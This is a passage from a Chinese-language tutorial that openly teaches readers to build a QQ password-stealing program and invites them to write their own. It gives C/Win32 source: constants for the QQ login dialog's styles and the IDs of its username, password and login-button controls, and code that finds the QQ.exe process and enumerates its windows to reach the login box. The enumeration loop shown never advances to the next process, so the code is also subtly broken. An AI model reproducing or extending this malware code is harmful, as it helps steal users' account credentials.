二、 实现过程
有了上面这个流程图后,经常写win32程序的朋友应该也能写出这种盗QQ程序的,你无妨自已写写试试,有不明白的地方可以参考我的程序。以下为我的程序的关键代码:
(一) 定义宏
//QQ登陆框正常情况下的风格
#define QQLoginDlgNormalStyle 0x94CA00C4
//QQ登陆框最小化时的风格
#define QQLoginDlgMiniStyle 0xB4CA00C4
//用户名下拉控件的ID
#define QQLoginUserNameId 0x0000008A
//密码控件文本框的ID
#define QQLoginPasswordId 0x000000B4
//登陆按扭的ID
#define QQLoginButtonId 0x00003EA0
(二) 枚举进程找到QQ.exe
//定义PROCESSENTRY32结构
PROCESSENTRY32 pe;
pe.dwSize = sizeof(pe);
HANDLE hProcessSnap;
//所有进程快照
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(hProcessSnap == INVALID_HANDLE_VALUE)
{
printf("进程快照失败!\n");
return -1;
}
BOOL bRet;
//遍历进程快照,轮流显示每个进程的信息
bRet = Process32First(hProcessSnap,&pe);
while(bRet)
{
//pe.szExeFile保存的值为进程对应的可执行文件名
if(strcmp(pe.szExeFile,"QQ.exe") ==0)
{
//这个时候的pe.th32ProcessID值,就是QQ.exe的PID值了。
BOOL bRet;
//枚举所有窗口,把进程PID传给回调函数EnumAllWindowsProc
bRet = EnumWindows(EnumAllWindowsProc,(LPARAM)pe.th32ProcessID);
if(bRet == FALSE)
{
printf("枚举所有窗口失败!\n");
return -1;
}
}
}
这里要提醒一点,要调用CreateToolhelp32Snapshot()、Process32First()这些函数,需要在顶部加一句代码:#include <tlhelp32.h>。